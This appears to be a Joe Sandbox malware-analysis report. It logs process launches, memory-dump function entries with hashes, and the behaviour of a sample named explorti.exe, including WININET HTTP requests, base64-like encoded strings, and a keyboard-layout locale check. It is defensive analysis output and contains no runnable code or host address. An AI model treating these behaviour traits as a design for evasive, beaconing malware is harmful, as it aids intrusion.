File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	20:48:31
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5968 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:8
Imagebase:	0x7ff71c710000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	20:48:37
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	20:48:37
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2104,i,2662021225016214237,15127601978370179281,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	20:48:45
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	20:48:45
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2068,i,13529609438476124602,4873144029971825180,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	20:48:58
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	20:48:59
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2124,i,3282595102075103265,12610826402939548734,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	20:51:13
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=8132 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 04BC0DAE Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675522010.0000000004BC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2dbdea61e07c0b8d12ac8d21c60a0c394e208c0ad3a1e232eb81eecc3e75801
Instruction ID: 6f210e4b0c46f21b2e943de88d48cb663f73deee790fa5f80c42b07008616f1f
Opcode Fuzzy Hash: a2dbdea61e07c0b8d12ac8d21c60a0c394e208c0ad3a1e232eb81eecc3e75801
Instruction Fuzzy Hash: 991170EB68C221FE7142D1D66B90AFB675EE6C6B303318CAEF807C6101E2941E097171

Function 04BC0DF1 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675522010.0000000004BC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b479f67c03d29c9e200623390d74b3a40255cbfbbe7b025bb66a026942261a7f
Instruction ID: 613eaf701a3b7f8782320e60b0dc7fa73b3124f480487b81ce4420e5bc6abe39
Opcode Fuzzy Hash: b479f67c03d29c9e200623390d74b3a40255cbfbbe7b025bb66a026942261a7f
Instruction Fuzzy Hash: 670122B7A8C312EF6242D5E55A906BA7B9AEAC67303304CBDF006C7101F2946D0A7160

Function 04BC0DDA Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675522010.0000000004BC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4152306ab9e708822fb814b000853ea2f2f107c83fab04a66261d6e4ed432efa
Instruction ID: ef4b11057acafe6dfd09af2c3dc20121c75515e0b48876a9103ac04c90911e79
Opcode Fuzzy Hash: 4152306ab9e708822fb814b000853ea2f2f107c83fab04a66261d6e4ed432efa
Instruction Fuzzy Hash: C801F7A7BCD212EE6242D1E66AD06BA3B59EAC77303354DBEF406CB201F1545D0A7170

Function 04BC0E25 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675522010.0000000004BC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c12b01273b77872d0f862f6e9791ee9dd382b91afc64655abd6e3ba0c85b8308
Instruction ID: 437bdef69c24ea4afd7163533cdae3636f25fe75497cd7958fc08d79d12672a5
Opcode Fuzzy Hash: c12b01273b77872d0f862f6e9791ee9dd382b91afc64655abd6e3ba0c85b8308
Instruction Fuzzy Hash: ADF027E7EDD023EE6101A5D16A90AFB2B5DE7CA7743341C6DF047C9001E109090620B0

Function 04BC0E3F Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675522010.0000000004BC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2da223fae2eedd2cf4d55637ba00637ed3eeec9821d05d112725a788f0d1c88c
Instruction ID: f5dce26adc2fc9eb379710706a617cb0c919db67bbb0decfc2ab170eae8bdfcf
Opcode Fuzzy Hash: 2da223fae2eedd2cf4d55637ba00637ed3eeec9821d05d112725a788f0d1c88c
Instruction Fuzzy Hash: 7FE0DF97ACE022EE6141A2E16EA0BFB271EE6CAB343344DAEF00BC8001F148090631B0

Analysis Process: explorti.exePID: 7640, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	10.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9%
Total number of Nodes:	1946
Total number of Limit Nodes:	32

Executed Functions

Function 0090BD60 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00958D68,00000000,00000000,00000000,00000000), ref: 0090BDEC
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0090BE10
HttpOpenRequestA.WININET(?,00000000), ref: 0090BE5A
HttpSendRequestA.WININET(?,00000000), ref: 0090BF1B
InternetReadFile.WININET(?,?,000003FF,?), ref: 0090BFCD
InternetCloseHandle.WININET(?), ref: 0090C0A7
InternetCloseHandle.WININET(?), ref: 0090C0AF
InternetCloseHandle.WININET(?), ref: 0090C0B7

Strings

invalid stoi argument, xrefs: 0090E404
stoi argument out of range, xrefs: 0090E3FA
6JLUcxtnEx==, xrefs: 0090C2EB, 0090C543
PG3NVu==, xrefs: 0090BE33
6JLUcBRYEz9=, xrefs: 0090C385
PoPn, xrefs: 0090D516

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: 6JLUcBRYEz9=$6JLUcxtnEx==$PG3NVu==$PoPn$invalid stoi argument$stoi argument out of range
API String ID: 688256393-884042532
Opcode ID: 82fe228c2e9f8c0e8bff093ea32ec66784e133213abb7fdf562c405c34642a12
Instruction ID: 409b4c4b826fb9b5769da95e944f8affdc1afc10b7cbb651843b30fa99c31017
Opcode Fuzzy Hash: 82fe228c2e9f8c0e8bff093ea32ec66784e133213abb7fdf562c405c34642a12
Instruction Fuzzy Hash: BCB1B4B16001189FEB24DF28CC85BAEBBB9EF85304F5042A9F509972C2D7759AC0CF95

Function 0090E440 Relevance: 14.8, Strings: 11, Instructions: 1000
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

UFy=, xrefs: 0090F62D, 0090F90A
246122658369, xrefs: 0090F647, 0090F924, 009104F7, 009108AA
UVu=, xrefs: 009104DA
KS==, xrefs: 0090E4A5
#, xrefs: 00910534
UVy=, xrefs: 0091088D
EpPoaRV1, xrefs: 0090E47F
SC==, xrefs: 0090EA1F, 0090EC66
111, xrefs: 0090F6B0
0657d1, xrefs: 0090FA9E
KIG+, xrefs: 0090E734

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: #$0657d1$111$246122658369$EpPoaRV1$KIG+$KS==$SC==$UFy=$UVu=$UVy=
API String ID: 0-3836280467
Opcode ID: 8a3189fbd7e6f479e39f9acd189ebe74c6bb389d2c610e7cc1d25d4d02c320e6
Instruction ID: e7de0480d77c83641e926af58d16ac0972fbf98ec12033d6b285ae653b839738
Opcode Fuzzy Hash: 8a3189fbd7e6f479e39f9acd189ebe74c6bb389d2c610e7cc1d25d4d02c320e6
Instruction Fuzzy Hash: 3B82D570A0424DAFEF14EF64C9497DEBFB6AB85304F508598E805673C2C7759A88CF92

Function 0091D312 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0090247E

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 72e1e8b911781eac0925b8ed0aa0371ca7cf239ce9ecb28e8b4911a494cee663
Instruction ID: 1e473b4dd5dff954f5a06842edc1137b386f8f7f797680572c62762929b7f1c7
Opcode Fuzzy Hash: 72e1e8b911781eac0925b8ed0aa0371ca7cf239ce9ecb28e8b4911a494cee663
Instruction Fuzzy Hash: A651D2B2A15A09CFDB15CF98E8917EEB7F4FB48310F24856AD405EB690D3749980DF50

Function 00913550 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0091425F

Part of subcall function 00917870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 0091795C
Part of subcall function 00917870: __Cnd_destroy_in_situ.LIBCPMT ref: 00917968
Part of subcall function 00917870: __Mtx_destroy_in_situ.LIBCPMT ref: 00917971

Strings

FAml, xrefs: 0091378F
KIK+, xrefs: 009147BD, 009148EC, 00914ADC, 00914C0B
85K3cq==, xrefs: 00914712
invalid stoi argument, xrefs: 00912DE9, 00912DF8, 0091425A, 00914E9D
T4Ve, xrefs: 00913DC0
9pG0, xrefs: 009154DB
Toe0, xrefs: 00915447
5120, xrefs: 00913ABF, 00913BAA
8IG0, xrefs: 009153F5
246122658369, xrefs: 00911EA5, 009127EE, 00912A43, 00912AB0, 00912E88, 00913373, 009133D4, 00914F3A, 00914F4D, 00914F8F, 00914F99, 009154F4
6YK0, xrefs: 00915502
IEYUMK==, xrefs: 009154B9
stoi argument out of range, xrefs: 00912E02, 00914269, 00914EAC
0657d1, xrefs: 00915489
7JS0, xrefs: 00915351
TZS0, xrefs: 0091537A
7470, xrefs: 0091531D
KIG+, xrefs: 00914776, 009147ED, 00914A95, 00914B0C
75G0, xrefs: 00915470
9YY0, xrefs: 009153CC
", xrefs: 00913E99
TZC0, xrefs: 0091541E
8lU=, xrefs: 00916383
UZbf, xrefs: 00913AEE
UIrm, xrefs: 00913BD9
84K0, xrefs: 00915497
UIU0, xrefs: 009153A3
Dy==, xrefs: 0091369E, 00914D2D

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: "$0657d1$246122658369$5120$6YK0$7470$75G0$7JS0$84K0$85K3cq==$8IG0$8lU=$9YY0$9pG0$Dy==$FAml$IEYUMK==$KIG+$KIK+$T4Ve$TZC0$TZS0$Toe0$UIU0$UIrm$UZbf$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-4111701409
Opcode ID: 94e2625e1470e2fc784dc0e5ebb058e0e48b47b6bacb8c475481a6287bced9a6
Instruction ID: 0ef7f2922212f3e9f0e11af4864681556c187d619b50049405e1dd96918aed6c
Opcode Fuzzy Hash: 94e2625e1470e2fc784dc0e5ebb058e0e48b47b6bacb8c475481a6287bced9a6
Instruction Fuzzy Hash: ED52F571B0024C9BDF18EF78CC4A7DDBB76AF85304F508198E445A7282D7759AC5CBA2

Function 009146C0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 00917870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 0091795C
Part of subcall function 00917870: __Cnd_destroy_in_situ.LIBCPMT ref: 00917968
Part of subcall function 00917870: __Mtx_destroy_in_situ.LIBCPMT ref: 00917971

Part of subcall function 0090BD60: InternetOpenW.WININET(00958D68,00000000,00000000,00000000,00000000), ref: 0090BDEC
Part of subcall function 0090BD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0090BE10
Part of subcall function 0090BD60: HttpOpenRequestA.WININET(?,00000000), ref: 0090BE5A

std::_Xinvalid_argument.LIBCPMT ref: 00914EA2

Strings

KIK+, xrefs: 009147BD, 009148EC, 00914ADC, 00914C0B
7JS0, xrefs: 00915351
85K3cq==, xrefs: 00914712
TZS0, xrefs: 0091537A
9pG0, xrefs: 009154DB
Toe0, xrefs: 00915447
7470, xrefs: 0091531D
KIG+, xrefs: 00914776, 009147ED, 00914A95, 00914B0C
8IG0, xrefs: 009153F5
75G0, xrefs: 00915470
9YY0, xrefs: 009153CC
246122658369, xrefs: 00914F3A, 00914F4D, 00914F8F, 00914F99, 009154F4
TZC0, xrefs: 0091541E
8lU=, xrefs: 00916383, 00916652
6YK0, xrefs: 00915502
84K0, xrefs: 00915497
IEYUMK==, xrefs: 009154B9
UIU0, xrefs: 009153A3
stoi argument out of range, xrefs: 00914269, 00914EAC
0657d1, xrefs: 00915489
Dy==, xrefs: 0091369E, 00914D2D

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 0657d1$246122658369$6YK0$7470$75G0$7JS0$84K0$85K3cq==$8IG0$8lU=$9YY0$9pG0$Dy==$IEYUMK==$KIG+$KIK+$TZC0$TZS0$Toe0$UIU0$stoi argument out of range
API String ID: 2414744145-1285461467
Opcode ID: e5ffd0e19bcc2a8440fb9ca242ee1f7aa93e945b8ef5819ac82bf3c67c5d0c8c
Instruction ID: 8ea484a8efdf9be3423e275ea9f526fd9abfad147376354486b9e066b1a534f1
Opcode Fuzzy Hash: e5ffd0e19bcc2a8440fb9ca242ee1f7aa93e945b8ef5819ac82bf3c67c5d0c8c
Instruction Fuzzy Hash: 67230071E002589BEB19DB28CD897DDBA76AF85304F5081D8E048AB2D6EB359FC4CF51

Function 00905DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0000043f, xrefs: 0090603B
00000423, xrefs: 0090600A
Keyboard Layout\Preload, xrefs: 00905F64
00000419, xrefs: 00905FA8
00000422, xrefs: 00905FD9

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 736b72914c6b5a4fb6c05e6b40a8a1d6523758d02a9ee5b00fdf20c7df991b8f
Instruction ID: c1ae75ced62ca9275bdabc17ae42103b49ac53fac7b3485810add1613302a525
Opcode Fuzzy Hash: 736b72914c6b5a4fb6c05e6b40a8a1d6523758d02a9ee5b00fdf20c7df991b8f
Instruction Fuzzy Hash: F8E18D71A04219AFEB24DFA4CC89BDEB7B9AB44304F5042D9E409A72D1D7749BC4CF91

Function 00907D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00907EA3

Strings

HlurOK==, xrefs: 00908062
HlusMa==, xrefs: 0090810A
HlurNa==, xrefs: 009081B2

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: HlurNa==$HlurOK==$HlusMa==
API String ID: 1721193555-2203186029
Opcode ID: 89275bb0d8604798fbc2918c92a61e9a6099f1481ee9c00a7ef422718fc48d98
